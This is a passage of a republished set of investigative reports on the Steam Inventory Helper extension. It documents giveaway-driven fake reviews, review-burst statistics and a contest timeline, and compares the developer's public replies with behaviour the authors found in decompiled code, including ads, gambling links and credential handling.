originals.\n\nOriginal-file hashes and sizes ↗\nAll three supplied reports, in full.\nReview manipulation — complete supplied report\n\nOriginal author text, unchanged. Download this original ↓\n\n# Review Manipulation & Developer Misrepresentation — Evidence Report\n## Steam Inventory Helper (SIH) v2.11.12–2.12.1 (`cmeakgjggjdlcpncigglobpjbkabhmjl`, RedBoon Limited)\n\n**Method.** All 4,089 written Chrome Web Store reviews (every review ever left, 2014–2026-10-10) were collected via the Apify `automation-lab/chrome-web-store-reviews-scraper` actor + a local Playwright pass with \"Lowest to highest rating\" sort (765 negative reviews, 286 with developer replies). Contest data: full Telegram channel export (`t.me/sihofficial`, 3,330 posts, user-provided JSON). Skin prices: cs2.sh API (BUFF/Youpin/CSFloat/Skinport/Steam/C5Game asks, 2026-10-11). Code facts: from the webcrack-decompiled build (see `C2-BOTNET-EVIDENCE.md`, `POLICY-VIOLATIONS.md`).\n\n---\n\n# 1. THE SCHEME (PROVEN, END-TO-END)\n\n## 1.1 The instruction to reviewers is verbatim on their own Google Form\n\nGiveaway of 2026-10-08 («PURE DROP», Telegram post #3418, results 2026-10-15). The linked Google Form (forms.gle/QvsjSu7osN8zwCKn9) says, verbatim:\n\n> *\"To participate in the giveaway, you also need to **leave any comment about your experience with SIH extension on the Google Web Store page, rate SIH and attach the link to your comment**. Additionally, please provide your Telegram profile for contact. You should follow these steps: 1.) Download SIH from Google WebStore by link … 2.) Leave a comment and copy the link. Link of a comment on Google WebStore (like https://chromewebstore.google.com/reviews/...)\"*\n\nForm fields: `Your Telegram profile (@)` + `Link of a comment on Google WebStore`. Prizes: paid onto the winner's **SIH balance**.\n\nThis is a **paid-review operation**: rating + comment + proof-of-review-link in exchange for a lottery ticket for skins. It violates Google's policies on **fake and incentivized engagement** (ratings/reviews exchanged for compensation must be disclosed as such; incentivized ratings are removable) and — since the store badge \"Featured / 4.5\" is marketing currency — constitutes misrepresentation.\n\n## 1.2 The three Google-Form contests (found in the channel export)\n\n| Contest | Announced (Telegram) | Target | Form | Prizes (places 1–3) |\n|---|---|---|---|---|\n| «PRIME DROP» | 2026-03-31 (#2625) | SIH (extension) | forms.gle/26RhQxXQdbKLYX7AA | AK-47 \\| Aphrodite (WW); AWP \\| Ice Coaled (MW); M4A4 \\| Spider Lily (FT) |\n| «SKIN RAID» | 2025-09-25 (#3378) | SIH.Mobile app | forms.gle/Bj4cJoNRoTiwWv3E6 | Zeus x27 \\| Dragon Snore (MW); Cmdr. Mae 'Dead Cold' Jamison \\| SWAT; Charm \\| Baby Karat CT |\n| «PURE DROP» | 2026-10-08 (#3418) | SIH Extension | forms.gle/QvsjSu7osN8zwCKn9 | FAMAS \\| Afterimage (MW); Patch \\| Howl; Galil AR \\| Dusk Ruins (MW) |\n\nBeyond these, the channel has run **weekly skin giveaways since 2024-10** with 600–1,200 participants each (self-reported: \"Participated 1 198 people\", \"1 108\", \"719\", \"605\"…), plus a daily \"$5 to sih.app balance\" chat activity campaign since April 2025 — a standing incentive machinery pointed at the community that reviews them.\n\n---\n\n# 2. ECONOMICS: THE PRICE OF ONE MOTIVATED 5★ REVIEW\n\nPrices = lowest current ask across BUFF/Youpin/CSFloat/Skinport/Steam/C5Game (cs2.sh, 2026-10-11). \"Reviews\" = all reviews in the 8-day window after each announcement (attribution per §3).\n\n| Contest | Prize pool (face value) | Attribution | 5★ among them | **Cost per review** |\n|---|---|---|---|---|\n| PRIME DROP (2026-03-31) | $26.74 ($9.07 + $11.30 + $6.37) | day-of burst: 12 reviews on announcement day (vs 3–5/day baseline); 8-day window: 51 | 50 of 51 (98%) | **$2.23** (day-of burst); $0.52 (full window) |\n| SKIN RAID (2025-09-25) | $37.42 ($17.29 + $12.39 + $7.74) | 8-day window: 49, version-clustered on v2.7.x | 45 | **$0.76–0.83** |\n| PURE DROP (2026-10-08) | $38.94 ($18.86 + $13.52 + $6.56) | 1 so far (contest live, 74 \"Join\" at fetch; results 2026-10-15) | 1 | **$0.53** per participant (EV); final per-review pending |\n\n**Working figure: $0.5–2.5 buys one motivated 5-star review** — face value. The real marginal cost is lower: prizes are credited to the **SIH internal balance** (spendable only inside SIH's own ecosystem), so the operation converts store-credit IOUs into Chrome Web Store rating points. Weekly-contest program total: ~3,000 reviews over 69 contest weeks at ~$15–40 pools → **≈ $0.5–0.8/review sustained over 15 months** (full table with post links: `CONTEST-TIMELINE.md`).\n\n**Scale estimate.** Baseline organic 5★ ≈ 15/month (pre-2025). Since 2025-03 the flow is 84–229/month (2025: 1,569 5★; 2026: 693 by October). Excess 5★ ≈ 1,700–2,000 reviews. At $1–2.2 each: **$1,700–4,400 face value to buy the \"4.5★ / Featured\" badge** — pocket change against the revenue of a 1M-user extension with an ad network, gambling partners and subscriptions.\n\n---\n\n# 3. REVIEW-BURST FORENSICS (ALL 4,089 REVIEWS)\n\n## 3.1 Volume timeline\n\n| Period | Written reviews/month | Character |\n|---|---|---|\n| 2014-06 → 2025-02 | 5–30 (organic); one 2017-09 spike (314/mo, 369× 1★ that year — historical security scandal wave) | organic |\n| **2025-03** | **214 (×10 jump; 181× 5★)** | program start |\n| 2025-04 → 2026-05 | 88–244/month, 89–94% are 5★ | sustained inflation |\n| 2026-06 → 2026-10 | 36–51/month (contests pivot to SIH.Mobile) | tapering |\n\nOverall histogram: 3,077× 5★ (75%) / 686× 1★ / 79× 2★ / 79× 3★ / 168× 4★.\n\n## 3.2 Burst-days match contest days exactly\n\n- **2026-03-31 (PRIME DROP announced): 12 reviews that day (×3 the daily baseline), all 5★, every single one from extension version 2.9.19** (fresh installers — contest requires \"Download SIH\"); 51 reviews in the 8-day window, 50 five-star. Texts: \"great\", \"super\", \"best one\", \"best extension ever\", \"super easy to make profit on cs2 with SIH\"…\n- **2025-09-25 → 10-02 (SKIN RAID): 49 reviews, 45× 5★**, version-clustered on v2.7.0/2.7.1; same week as a 950-participant mega-contest (t.me/sihofficial/2042).\n- **2026-10-08 → 10-10 (PURE DROP): first contest review appears 2026-10-10, 5★, v2.12.1** (\"Very good app, thank you!\" — 2 days after the form opened).\n- 2025-03-07/08/10/12…: daily 8–27 reviews — the program ramp-up month.\n\n## 3.3 Template fingerprints\n\n- 1,859 of 3,077 five-star reviews (60%) are under 40 characters.\n- Exact duplicate bodies: **\"good\" ×96, \"nice\" ×59, \"very helpful\" ×51, \"super\" ×51, \"very good\" ×42**…\n- Verbatim duplicate with identical typo across different accounts: *\"Insane ammount of essential trading infos. I love it\"* (MOONS 2025-09-28; Ioana Andrei 2025-09-07) — a handed-out template, typo included.\n- 1-star reviews cluster around real events (2024-06 permissions backlash; 2025-03 ad-injection backlash — 28 negatives that month, the highest since 2017) and are then drowned by the 5★ flow (e.g. 2025-03: 181× 5★ vs 28× 1★).\n- Users call it out themselves: *\"THE DEVS ARE RUSSIANS AND THEY ARE MANIPULATING REVIEWS WITH BOT ACCOUNTS!\"* (2024-11-04); *\"scammed reviews and adverts for their casino\"* (2025-05-17); *\"Don't post your copy pasta about Google\"* (2024-06-28).\n\n---\n\n# 4. DEVELOPER REPLIES vs. CODE REALITY (THE MISREPRESENTATION TABLE)\n\n286 reviews carry a reply from **\"SIH Tech Support — Developer\"**. The replies are heavily copy-pasted (one identical MV3 template was posted 15+ times in June 2024; the \"It is very unfortunate to see misleading comments\" template repeated verbatim). Each factual claim below is quoted from a real reply (date given), then checked against the decompiled code.\n\n| # | Developer claim (reply, date) | Code reality (decompiled) | Verdict |\n|---|---|---|---|\n| 1 | *\"SIH and all its content undergo regular moderation by Google\"* (2026-03-30); *\"every version of our extension goes through Google's review process\"* (2026-05-28) | Google reviews submitted code, not runtime behavior. Ad content is fetched **live** from `ads.steaminventoryhelper.com/adapi/<token>/find-all` with per-user targeting payload `{f:{…}}` (922.js:84640–84670); DNR header rules are created at **runtime** (shipped `rules.json` = `[]`); 4 C2 event names are obfuscated (`vYPR…`) | **Misleading.** Store review cannot see dynamically served content; \"moderated by Google\" is used as false assurance for ads the server can swap per user/IP at any moment |\n| 2 | *\"we have only one affiliate banner… advertising Valve's eSports tournament\"* (2025-09-13/22/23, ×9); *\"only a single partner banner of a relatively small size at the top of the screen\"* (2026-06-15) | Five ad slots (`marketSponsor`, `tradeoffer`, `marketLeftSideBanner`, `externalIntegrationBanner`, `marketSponsorBanner`), four ad sources (`ads.*`, `download.*/banners`, `gainskins.*`, `t.sih-db.com`) + hardcoded **HTTP** banner `http://23.105.226.164/Phx3RR?placement=refillpage` shown only to RU-locale users, injected into Steam's add-funds page | **False.** Multiple banners, multiple networks, gambling partners (CSGOFAST referral `subid2=csgofast`), geo-targeted — exactly the \"by-IP on the fly\" behavior users describe |\n| 3 | *\"we have absolutely no connection to anything of that kind\"* re: \"real money gambling inside\" (2025-10-30) | `cases.steaminventoryhelper.com` (case-opening: `openCase`, `sellInventoryItem`, `withdrawalInventoryItem`, `getTopProfit`), CSGOFAST referral in the trade window, gainskins gambling banner feed, Steam balance refill via `foreign.foreignpay.ru` | **False** |\n| 4 | *\"our extension does not collect authorization access, API keys, or any similar information\"* (2025-03-24); *\"The extension do not have access to API key so it can't be changed\"* (2026-08-31); *\"SIH does not have any functionality for collecting authorization data\"* (2024-12-24) | Full authentication stack in code: `IAuthenticationService/BeginAuthSessionViaCredentials` (Steam **password** login), `ITwoFactorService/AddAuthenticator` (registers itself as the **Steam Guard** authenticator), maFiles (`shared_secret`/`identity_secret`) in IndexedDB **and uploaded** to `core.sih.app/sih/backups/sync` (922.js:99652–99664), `sessionid`/`steamLoginSecure` cookies read via `chrome.cookies` | **False — the most serious one.** The extension is architecturally capable of exactly what the reviews accuse it of (multiple 2024–2026 reviews report stolen Steam balances and API-key hijacks) |\n| 5 | *\"SIH does not have the functionality to perform any selling actions without user confirmation\"* (2025-03-24) | `auto_confirm_trades`, `market_autoconfirm`, `market_purchase_autoconfirm` settings; `trader_tool.steam.sell_item(s)`, `remove_listing(s)` executable via C2 `task.new`; `tradesend`/`tradeaccept` events; autonomous buy loop with user's balance (922.js:127030–127218) | **False** |\n| 6 | *\"we do not have access to all sites on the Internet, but only those listed in the permissions\"* (2023-11-19); (2020-10-21 reply listed only Steam domains) | Since 2024-06: `host_permissions: [\"<all_urls>\"]` + `cookies` + `webRequest` + `management` | Was true in 2020–2023; **stale/false for the current build** |\n| 7 | *\"Starting from June 1, 2024, Google requires all extensions to migrate to the Manifest V3 standards\"* (posted 15+ times, June 2024, as the explanation for `<all_urls>`/cookies/management permissions) | MV3 is mandatory — true. **But MV3 does not require** `<all_urls>`, `cookies`, `management` or `webRequest`; those are SIH's own choices (their own 2020 reply confirms narrow-domain operation was possible) | **True fact used to mask a false conclusion** |\n| 8 | *\"someone has launched an entire anti-advertising campaign against SIH\"* (2025-03-18, dismissing the 1★ wave) | The 2025-03 1★ wave (28) coincides with the ad-injection rollout (v2.3.6/2.3.8 complaints: \"injecting external ads\", \"gambling ads\"); simultaneously SIH's own incentivized 5★ program starts (181 that month) | **Inversion of reality**: the only documented \"campaign\" is their own |\n| 9 | *\"You can check our code and find nothing related to your initial message\"* (2020-10-21) | Webpack-obfuscated 4 MB bundle, runtime-created DNR rules, obfuscated C2 event names, remote feature toggles (`sih_app_market_toggle`) | **Practically meaningless** — and remains their standard answer to \"spyware\" (×13 identical 1★ reviews) and the 171 reviews mentioning scam/spyware/stealing |\n\n**Pattern.** Replies (a) cite Google moderation as a shield for behavior Google cannot observe, (b) minimize ad injection (\"one small banner\"), (c) deny authorization-data collection that the code demonstrably performs, (d) blame victims (\"phishing website or malware… change all your passwords\", 2026-08-31), and (e) subtly threaten reviewers (\"you bear responsibility for posting comments of this kind that may be considered unlawful\", 2026-01-07) — a mild SLAPP flavor aimed at silencing negatives.\n\n---\n\n# 5. GOOGLE POLICY MAPPING\n\n| Policy | Violated? | Evidence |\n|---|---|---|\n| **Fake engagement / incentivized ratings** (ratings & reviews must be unbiased; compensation for ratings prohibited) | **YES — direct** | §1.1: form requires rating + comment + link submission for giveaway entry; §3.2: burst-days = contest days, same-version clusters; §3.3: template texts |\n| **Misrepresentation** (deceiving users about behavior) | **YES** | §4: 9 demonstrably false/misleading developer claims, incl. denial of authorization-secret collection the code performs |\n| **Deceptive ads placement** | **YES** | hidden ad slots inside Steam pages incl. HTTP hardcoded-IP banner (RU-only) — while officially claiming \"one small reviewed banner\" |\n| **Spam & placement in the store** | **YES** | 60% of 5★ reviews are <40 chars; single-word duplicates (\"good\" ×96); \"Featured\" badge obtained via the above |\n| **User Data Privacy (limited use / disclosure)** | **YES** (per prior audit) | maFile cloud sync, userInfo into Sentry, full economic telemetry — none disclosed in the store description |\n\n---\n\n# 6. EVIDENCE INDEX (reproducible)\n\n- Reviews dataset: `%TEMP%\\opencode\\cws_all.json` (4,089 items, Apify run), `scraper\\lowest_fixed.json` (lowest-rating sort, 1,010 parsed), `scraper\\dev_replies.json` (286 review+reply pairs)\n- Contests: `ChatExport_2026-10-10/result.json` (posts #2625, #3378, #3418; winners posts since 2024-10)\n- Google Forms (live at fetch time): QvsjSu7osN8zwCKn9 (PURE DROP, quoted in §1.1), 26RhQxXQdbKLYX7AA (PRIME DROP), Bj4cJoNRoTiwWv3E6 (SKIN RAID)\n- Prices: cs2.sh `/v1/prices/latest` (2026-10-11)\n- Code refs: `C2-BOTNET-EVIDENCE.md` §2.3–§2.4, §4–§6; webcrack output line numbers as cited\n\n*Date-stamped 2026-10-11. Contest PURE DROP completes 2026-10-15 — a re-scrape after that date is recommended to capture its final review burst (expected +10–35 five-star reviews on v2.12.1, closing the $0.5–3.2/review estimate).*\n\nContests — complete supplied chronology\n\nOriginal author text, unchanged. Download this original ↓\n\n# Contest ↔ Review Dynamics — Full Timeline with Post Links\n## Steam Inventory Helper — companion to `REVIEW-MANIPULATION-EVIDENCE.md`\n*Compiled 2026-10-11. Review counts = CWS written reviews in the 7-day contest-entry window (contest_end −7…+1 days); form contests = 8-day window from announcement. All post links: `https://t.me/sihofficial/<id>`.*\n\n---\n\n## 1. THE FLIP — 2025-03-07 (post 796)\n\n**Before (2024-10 → 2025-02):** 15 weekly contests, 400–1,300 participants each — and **2–6 reviews per week** (pure organic; the Telegram contests did not touch the store).\n\n**After (week of 2025-03-07 onward):** the same weekly contest cycle produces **40–120 reviews per week**, 85–95% of them 5★, synchronized with the contest cycle for the next 15 months (88 contest weeks tracked).\n\n| Metric | 2024-10…2025-02 | 2025-03…2026-05 | 2026-06…2026-10 |\n|---|---|---|---|\n| Avg written reviews/week | **2.6** | **34.5** | 8.4 |\n| Weekly contest participants | 400–1,366 | declining 516→200 | 125–230 |\n| Reviews per contest week | 1–9 | **38–122** | 3–25 |\n\nThe flip week coincides with extension v2.3.5/2.3.6 (update post id 793, 2025-03-07) — the version carried by the March 2025 5★ flood — and with the ad-injection rollout that triggered the 1★ backlash the same month (28 negatives, the most since 2017). From that week, review flow tracks the contest cycle almost perfectly: **every contest week = a review burst week**.\n\nWhat changed in the contest format is not visible in the public EN channel (entry conditions run inside **@ContestMasterBot** / external pages, e.g. `t.me/ContestMasterBot?start=contestWinners_iydXfs`). The review-for-entry requirement is *explicitly* documented only in the three Google-Form contests (§3 below) — but the weekly synchronization from 2025-03-07 leaves little doubt the same mechanic was added to the standing weekly contests.\n\n---\n\n## 2. WEEKLY CONTESTS ↔ REVIEWS (all 84 \"contest is over\" posts)\n\nFormat: `post link | contest ended | participants | reviews in entry week | 5★ | 1–2★`\n\n```\nt.me/sihofficial/329  | 2024-10-17 |  965 |  2 |  0 |  2\nt.me/sihofficial/372  | 2024-10-26 |  739 |  2 |  1 |  1\nt.me/sihofficial/443  | 2024-11-08 |  727 |  4 |  2 |  2\nt.me/sihofficial/506  | 2024-11-25 |  466 |  3 |  3 |  0\nt.me/sihofficial/588  | 2024-12-12 |  539 |  2 |  1 |  0\nt.me/sihofficial/608  | 2024-12-19 | 1268 |  2 |  0 |  2\nt.me/sihofficial/625  | 2024-12-26 |  937 |  1 |  0 |  1\nt.me/sihofficial/645  | 2025-01-03 |  898 |  1 |  0 |  1\nt.me/sihofficial/658  | 2025-01-10 | 1013 |  3 |  1 |  1\nt.me/sihofficial/678  | 2025-01-17 | 1222 |  2 |  1 |  1\nt.me/sihofficial/693  | 2025-01-24 | 1199 |  2 |  2 |  0\nt.me/sihofficial/717  | 2025-01-31 | 1366 |  5 |  4 |  0\nt.me/sihofficial/734  | 2025-02-07 | 1197 |  5 |  4 |  0\nt.me/sihofficial/753  | 2025-02-14 | 1306 |  9 |  6 |  3\nt.me/sihofficial/769  | 2025-02-21 | 1198 | 11 |  8 |  2\nt.me/sihofficial/781  | 2025-02-28 | 1108 |  6 |  5 |  1\n─── THE FLIP ───\nt.me/sihofficial/796  | 2025-03-07 |  719 | 46 | 27 | 16   ← program starts\nt.me/sihofficial/812  | 2025-03-14 |  605 | 95 | 74 | 16\nt.me/sihofficial/837  | 2025-03-21 |  542 | 79 | 72 |  6\nt.me/sihofficial/881  | 2025-03-28 |  508 | 70 | 66 |  4\nt.me/sihofficial/922  | 2025-04-04 |  516 | 53 | 49 |  4\nt.me/sihofficial/962  | 2025-04-11 |  531 | 88 | 79 |  7\nt.me/sihofficial/1001 | 2025-04-18 |  422 | 68 | 61 |  3\nt.me/sihofficial/1062 | 2025-04-25 |  409 | 38 | 32 |  4\nt.me/sihofficial/1099 | 2025-05-02 |  406 | 48 | 45 |  3\nt.me/sihofficial/1132 | 2025-05-09 |  458 | 48 | 43 |  3\nt.me/sihofficial/1169 | 2025-05-16 |  330 | 65 | 54 | 10\nt.me/sihofficial/1203 | 2025-05-23 |  251 | 49 | 42 |  7\nt.me/sihofficial/1265 | 2025-05-30 |  240 | 42 | 38 |  1\nt.me/sihofficial/1339 | 2025-06-07 |  223 | 21 | 17 |  2\nt.me/sihofficial/1381 | 2025-06-14 |  211 | 24 | 22 |  1\nt.me/sihofficial/1428 | 2025-06-21 |  262 | 25 | 23 |  1\nt.me/sihofficial/1480 | 2025-06-29 |  258 | 64 | 62 |  1\nt.me/sihofficial/1527 | 2025-07-07 |  253 | 45 | 44 |  0\nt.me/sihofficial/1561 | 2025-07-14 |  330 | 67 | 63 |  2\nt.me/sihofficial/1599 | 2025-07-23 |  244 | 65 | 60 |  3\nt.me/sihofficial/1633 | 2025-07-31 |  241 | 27 | 26 |  1\nt.me/sihofficial/1688 | 2025-08-08 |  226 | 31 | 31 |  0\nt.me/sihofficial/1740 | 2025-08-15 |  213 | 26 | 25 |  0\nt.me/sihofficial/1805 | 2025-08-22 |  200 | 20 | 19 |  0\nt.me/sihofficial/1858 | 2025-08-29 |  221 | 31 | 31 |  0\nt.me/sihofficial/1901 | 2025-09-05 |  237 | 43 | 41 |  0\nt.me/sihofficial/1926 | 2025-09-12 |  200 | 41 | 38 |  2\nt.me/sihofficial/1984 | 2025-09-18 |  265 | 39 | 36 |  2\nt.me/sihofficial/2042 | 2025-09-26 |  950 | 56 | 50 |  4   ← SKIN RAID week (mega-contest)\nt.me/sihofficial/2090 | 2025-10-05 | 1000 | 43 | 40 |  2\nt.me/sihofficial/2124 | 2025-10-10 |  287 | 52 | 49 |  3\nt.me/sihofficial/2158 | 2025-10-17 |  317 | 55 | 53 |  1\nt.me/sihofficial/2190 | 2025-10-26 |  470 | 101 | 93 |  3\nt.me/sihofficial/2217 | 2025-11-03 | 1293 | 122 | 115 |  2  ← peak (1,293 participants)\nt.me/sihofficial/2245 | 2025-11-11 |  301 | 78 | 76 |  2\nt.me/sihofficial/2277 | 2025-11-20 |  248 | 51 | 50 |  1\nt.me/sihofficial/2288 | 2025-11-27 |  449 | 27 | 26 |  1\nt.me/sihofficial/2301 | 2025-12-05 |  186 | 38 | 37 |  0\nt.me/sihofficial/2315 | 2025-12-12 |  445 | 23 | 23 |  0\nt.me/sihofficial/2338 | 2025-12-19 |  338 | 53 | 50 |  1\nt.me/sihofficial/2361 | 2025-12-26 |  286 | 44 | 42 |  2\nt.me/sihofficial/2380 | 2026-01-05 |  193 | 37 | 34 |  2\nt.me/sihofficial/2390 | 2026-01-12 |  238 | 61 | 54 |  3\nt.me/sihofficial/2412 | 2026-01-21 |  256 | 26 | 23 |  2\nt.me/sihofficial/2448 | 2026-01-29 |  483 | 46 | 44 |  1\nt.me/sihofficial/2482 | 2026-02-09 |  336 | 37 | 35 |  1\nt.me/sihofficial/2506 | 2026-02-18 | 1299 | 41 | 39 |  1\nt.me/sihofficial/2508 | 2026-02-18 |  308 | 41 | 39 |  1   (same week, two contests)\nt.me/sihofficial/2531 | 2026-02-26 |  253 | 51 | 50 |  0\nt.me/sihofficial/2562 | 2026-03-06 |  257 | 26 | 25 |  0\nt.me/sihofficial/2586 | 2026-03-16 |  265 | 20 | 18 |  1\nt.me/sihofficial/2610 | 2026-03-24 |  175 | 45 | 42 |  0\nt.me/sihofficial/2640 | 2026-04-07 |  257 | 52 | 51 |  0   ← PRIME DROP week\nt.me/sihofficial/2646 | 2026-04-09 |  269 | 39 | 38 |  0\nt.me/sihofficial/2672 | 2026-04-17 |  288 | 49 | 47 |  1\nt.me/sihofficial/2779 | 2026-05-08 |  181 | 21 | 20 |  0\nt.me/sihofficial/2789 | 2026-05-11 |  251 | 16 | 15 |  0\nt.me/sihofficial/2839 | 2026-05-19 |  166 | 22 | 21 |  1\nt.me/sihofficial/2886 | 2026-05-28 |  205 | 40 | 38 |  2\nt.me/sihofficial/2924 | 2026-06-04 |  202 | 23 | 22 |  1\nt.me/sihofficial/2978 | 2026-06-16 |  201 |  9 |  8 |  1   ← taper begins\nt.me/sihofficial/3113 | 2026-07-17 |  239 | 12 | 10 |  1\nt.me/sihofficial/3152 | 2026-07-27 |  230 | 25 | 24 |  1\nt.me/sihofficial/3196 | 2026-08-06 |  233 | 18 | 17 |  0\nt.me/sihofficial/3255 | 2026-08-24 |  125 |  3 |  2 |  1\nt.me/sihofficial/3291 | 2026-09-01 |  168 |  9 |  8 |  1\nt.me/sihofficial/3330 | 2026-09-11 |  116 | 10 | 10 |  0\nt.me/sihofficial/3400 | 2026-10-02 |  125 |  7 |  7 |  0\n```\n\n**Reading the table.** Pre-flip: 15 weeks of contests (9,100+ total participants) → 58 reviews total, mixed ratings. Post-flip: 69 contest weeks → **~3,000 reviews, 85–95% five-star, near-zero negatives** — the review stream became a function of the contest calendar. Note the mid-2025 pattern: *participants fall* (516 → 200) while *reviews per contest stay flat or rise* (45–65) — the funnel stopped being \"many casual entrants\" and became \"fewer entrants, each now performing the review task\".\n\n---\n\n## 3. GOOGLE-FORM CONTESTS (explicit review-for-prize, verbatim forms)\n\n| Contest | Post | Announced | Window reviews | 5★ | Notes |\n|---|---|---|---|---|---|\n| PRIME DROP | `t.me/sihofficial/2625` | 2026-03-31 | **51 in 8 days** (50× 5★); day-of spike **12 reviews on Mar 31** vs 3–5 baseline | 50 | all v2.9.19; form: \"leave any comment… **rate SIH** and attach the link to your comment\" (forms.gle/26RhQxXQdbKLYX7AA) |\n| SKIN RAID | `t.me/sihofficial/3378` | 2025-09-25 | 49 in 8 days (45× 5★), versions clustered on v2.7.x | 45 | form targets \"SIH.Mobile app\" (forms.gle/Bj4cJoNRoTiwWv3E6); same week as mega-contest 2042 (950 participants) |\n| PURE DROP | `t.me/sihofficial/3418` | 2026-10-08 | 1 by Oct 10 (results 2026-10-15; 74 \"Join\" at fetch) | 1 | form: \"leave any comment about your experience with SIH extension… rate SIH and attach the link\" (forms.gle/QvsjSu7osN8zwCKn9) |\n\n**Corrected economics** (fixes the narrower window in the main report — the Mar-31 day-of burst remains the cleanest attribution unit):\n\n- PRIME DROP: $26.74 pool → day-of burst 12 reviews = **$2.23/review**; full 8-day window 51 reviews = **$0.52/review** (window mixes in the standing weekly-program flow — see §2).\n- SKIN RAID: $37.42 pool → 45–49 reviews ≈ **$0.76–0.83/review**.\n- The whole post-flip program: ~3,000 reviews over 69 contest weeks against weekly prize pools of ~$15–40 → **≈ $0.5–0.8 per motivated review** sustained over 15 months.\n\n---\n\n## 4. HOW TO READ THE DYNAMICS (for the complaint)\n\n1. **Phase 1 (2024-10…2025-02):** weekly contests existed, did NOT touch the store — proof the mechanism was separable and deliberate when it later changed.\n2. **2025-03-07:** the switch — same contests, same channel, but from that week every contest week produces a 5★ burst. No store-facing feature, update, or user-base event explains a ×13 jump in written reviews (2.6 → 34.5/week) synchronized with the contest calendar.\n3. **Mega-contests coincide with review peaks:** 2025-10-26 (470 participants → 101 reviews), 2025-11-03 (1,293 → 122), 2025-09-26 (950 → 56 + the SKIN RAID window).\n4. **The taper (2026-06+):** contest participation decays (200 → 125) and reviews decay in lockstep (34.5 → 8.4/week) — the review flow is downstream of contest activity, not of organic user sentiment.\n\nComplaints and replies — complete supplied collection\n\nOriginal author text, unchanged. Download this original ↓\n\n# Negative Reviews & Developer Replies — Full Evidence Collection\n## Steam Inventory Helper (`cmeakgjggjdlcpncigglobpjbkabhmjl`) — companion to `REVIEW-MANIPULATION-EVIDENCE.md`\n\n**Dataset.** 4,089 total reviews (full store history); 765 rated 1–2★; 286 carry a reply from **\"SIH Tech Support — Developer\"**; 222 distinct reply texts (heavily templated). Collected via Apify actor + Playwright lowest-rating pass, 2026-10-11. Theme classification is keyword-based on review text; yearly counts show when each complaint type peaked.\n\n---\n\n# 1. WHAT USERS WRITE (765 NEGATIVES, BY THEME)\n\n| Theme | Count | Peak years | Substance |\n|---|---|---|---|\n| **Ads / gambling injection** | 313 | 2017 (114), 2025 (75), 2024 (35) | banners on Steam pages, casino ads, Kinguin referral, \"ads for a couple of bucks\" removal subscription |\n| **Spyware / permissions / data** | 142 | 2017 (116), 2024 (8) | tracking clicks, `<all_urls>`, cookies, \"read and change all your data\" |\n| **Review manipulation** | 46 | 2017 (17), 2015 (11), 2025 (6) | \"manipulating reviews with bot accounts\", \"scammed reviews\" |\n| **Bugs / broken features** | 45 | spread | broken floats, sell buttons, rate-limits |\n| **Money/items lost** | 29 | 2017 (18) | \"sold my whole inv for 3 cents\", wallet drained, scam accusations |\n| **API key hijack** | 1 (explicit) | 2024 | \"new [API key] was created\" after use |\n\n## 1.1 The three complaint waves (mirrors of monetization pushes)\n\n**Wave 1 — Sept 2017 (369× 1★ that year; 121 reviews on 2017-09-19 alone).** Users linked press coverage:\n> *\"Steam Inventory Helper monitors your browsing activity!!! https://www.ghacks.net/2017/09/…\"* — Daniel š, Oct 1, 2017\n> *\"SIH used to be a great addition to the Steam experience… [until the] script\"* — zar athustra, Oct 11, 2017\n\n**Wave 2 — June 2024 (50× 1★ that month).** The MV3 permission grab:\n> *\"spyware (requesting dangerous permissions)\"* — Crap Head, Jun 26, 2024 (12 of 13 found helpful)\n> *\"- Read and change all your data on all websites - Manage your apps, extensions, and themes NO THANKS\"* — Frowki, Jun 24, 2024 (19 of 23)\n> *\"Read and change all your data on all websites … WHY!\"* — ls zhai, Jun 25, 2024 (10 of 11)\n\n**Wave 3 — March–May 2025 (75 ad complaints; 28 negatives in March alone).** Ad injection goes live:\n> *\"Recently added gambling website ads everywhere.\"* — Mar 8, 2025\n> *\"Shady practice of adding gambling ads into all steam pages.\"* — Mar 8, 2025\n> *\"displays ads ;(\"*, *\"embeds ads on steam\"* — Mar 10, 2025\n> *\"Puts ads on my steam page and demands money to remove it.\"* — May 11, 2025\n> *\"like looking at a casino or something\"* — Jun 13, 2026\n\nThe 2025-03 1★ wave is then drowned by the incentivized 5★ program (181× 5★ the same month — see main report §3).\n\n---\n\n# 2. WHAT THE DEVELOPER REPLIES (286 REPLIES, 222 TEMPLATES)\n\n## 2.1 The copy-paste catalog (usage counts)\n\n**T1 — ×31 (2025-04/05, the \"partnered ads\" admission):**\n> *\"Hello! Unfortunately, we had to add partnered ads to be able to support and further develop our free project. … **Partnered ads mean that we are given advertisements to display, and we simply show them.** Additionally, if a user decides to purchase our subscription, all ads will be immediately removed.\"*\n\n**T2 — ×17 (June 2024, the MV3 deflection):**\n> *\"Hello! Starting from June 1, 2024, Google requires all extensions to migrate to the Manifest V3 standards… You can find detailed information about the permissions here: https://x.com/SteamInvHelper/status/…\"*\n\n**T3 — ×4 (2026-02):** *\"At the moment, we only have one partner banner… you can simply purchase a subscription for just a couple of bucks.\"*\n\n**T4 — ×3 (2026-01, the veiled legal threat):**\n> *\"…please note that we do not violate any applicable laws, operate in full compliance with Google's policies… **we would like to remind you that you bear responsibility for posting comments of this kind that may be considered unlawful.**\"*\n\n**T5 — ×3 (2025-10):** *\"…we have added several slots for affiliate banners.\"*\n\n**T6 — ×2 (2026-05, \"Google reviews everything\"):**\n> *\"It is very unfortunate to see misleading comments of this kind. The list of available requests and the extension's functionality is clearly described on the main page of the Google Marketplace, and additionally, **every version of our extension goes through Google's review process.**\"*\n\n**T7 — ×2 (2025-09, \"one banner, Valve's tournament\"):** *\"We have only one affiliate banner advertising Valve's eSports tournament…\"*\n\n**T8 — ×2 (2024-08, Kinguin grey-market referral):** *\"This is an optional promotional offer that can help save users money.\"*\n\n## 2.2 One-off replies that matter\n\n| Date | Reply | Significance |\n|---|---|---|\n| 2017-10-02 | *\"This information is fake. We are not using any kind of script that is mentioned there.\"* (to the ghacks.net article) | Flat denial of the browsing-activity monitoring story |\n| 2018-01-06 | *\"**This was an old article with the outdated information. This analytics script was removed long ago and we are never bringing it back.**\"* | **Admission that the \"fake\" script existed** — the 2017 spyware claim was true |\n| 2017-09-19 | *\"Extension is not able to steal anything.\"* / 2018-07-02: *\"SIH never was harmful to user.\"* | absolute denials, contrast with §3 below |\n| 2023-12-25 | *\"…this service is more of a gambling project, so at the moment **we have no specific tasks to add and interact with gambling projects**.\"* (declining to add CSGOEmpire) | Two years later: CSGOFAST referral in the trade window + own case-opening site (`cases.steaminventoryhelper.com`) + gainskins gambling banners |\n| 2025-03-24 | *\"our extension does not collect authorization access, API keys, or any similar 